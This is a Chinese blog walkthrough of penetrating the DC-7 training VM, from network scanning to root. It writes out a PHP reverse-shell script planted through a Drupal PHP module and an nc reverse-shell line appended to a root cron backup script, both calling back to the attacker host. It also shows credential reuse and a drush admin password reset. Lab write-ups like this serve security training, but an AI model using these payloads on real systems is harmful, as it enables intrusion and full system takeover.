DC-7靶机渗透


title: DC-7靶机渗透
date: 2023-1-5 22 :53 :36
tags: DC系列靶机
categories: 渗透从入门到入土
author:Abyssaler


DC-7靶机渗透全流程

一:实验环境

kali攻击机: 192.168.2.103

DC-7靶机: 192.168.2.105

二:信息收集

主机发现

arp-scan -l

image-20230105225815326

端口扫描

1.masscan快速扫描端口

masscan --rate=10000 --ports 0-65535 192.168.2.105

image-20230105230153971

发现80,22端口

2.nmap精确扫描端口

nmap -p22,80 -sV -A 192.168.2.105

image-20230105230437660

已经发现cms是drupal 8

web信息收集

1.访问192.168.2.105

收集页面信息

cms: Drupal 8

image-20230105231206954

目录扫描

dirb http://192.168.2.105

image-20230106003353101

利用社工获取网页源码

注意到网页底部有个足迹

image-20230105233027227

尝试利用搜索引擎搜索他一下

image-20230105233527183

可以看到这个作者的GitHub账号了,点进去看看

image-20230105233648827

继续点进这个项目看看,可以看到这就是提示了

image-20230105233728950

那这些就是网站源码了

image-20230105233849493

可以直接下载下来进行审计分析

三:渗透测试

信息获取

将之前下载下来的网页源码解压

image-20230105234616462

查看config.php文件

cat config.php

得到了数据库的账号密码

image-20230105234807232

远程连接主机

既然有了账号和密码,有没有可能之前扫描出来的22端口也能用呢]\

尝试远程连接

ssh dc7user@192.168.2.105

image-20230105235247744

连接成功

修改admin密码

先进行一下系统的信息收集

可以看到权限挺低的

image-20230105235956015

crontab -l查看计划任务,mail查看邮件

image-20230106001605942

Cron Daemon不太清楚意思,查询试试

image-20230106001907924

那这里的意思大概就是root用户周期性的运行了一个系统任务,脚本的位置在/opt/scripts/backups.sh

image-20230106002341929

查看邮件后得知这个系统任务的大概意思是为数据库做一个备份,还给出了备份的位置

image-20230106002131880

查看下脚本的权限ls -l,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那我们可以获得了root权限的shell了。

image-20230106002735852

注意到脚本里有一个drush命令

image-20230106002432811

可以看到命令是进入 cd /var/www/html/ 后执行drush。

然后去百度看看 drush是干什么呢?

Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。既然是命令行命令,也就可以使用其他脚本来实现相同的功能,比如编写shell脚本来实现相同的功能,也的确有不少人这样做过。但是,使用Drush要远优于编写自己的脚本,好处在于,一是可以利用Drush开发社区的力量,二是Drush的命令更加可靠,适用于更多变的环境。

https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell

这里有写一些drush基本语法。
drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin  123456为我修改的密码。
drush user-password admin --password=123456

image-20230106003204970

修改成功

获得www-data的shell

登录网站后台

image-20230106003516162

进入后台,找到能写shell的地方

extend中找到可以安装模块

image-20230106004011862

下载一个php模块

下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

直接安装

image-20230106004229509

image-20230106004241669

启用php模块

image-20230106004600359

image-20230106004538135

编辑文章

image-20230106004443226

此时可以看到,文章可以用php进行解析了

image-20230106004725783

写入一个 反弹shell脚本

<?php
$sock = fsockopen("192.168.2.103", "444");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

image-20230106005028432

kali开启nc监听

nc -lvvp 444

image-20230106005119519

重新访问下主页

image-20230106005210465

反弹成功

image-20230106005243909

设置个交互式界面python -c "import pty;pty.spawn('/bin/bash')"

image-20230106005404424

可以看到,现在我们有向脚本里写入代码的权限了

image-20230106011534911

提权

之前知道了,/opt/scripts/backup.sh会以root权限周期性的运行

我们可以向backups.sh内写入反弹shell脚本,利用nc就可以完成

然后如果是正常环境的话就等这个脚本运行的时候就成功了

echo "nc -nv 192.168.2.103 4455 -e /bin/bash" >>backups.sh

image-20230106012850409

kali开启侦听

nc -nlvp 4455

image-20230106012318041

连接成功

image-20230106012956972

他这个默认十五分钟执行一次,等十五分钟就好啦

得到flag

image-20230106013109841

image-20230106013116753

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值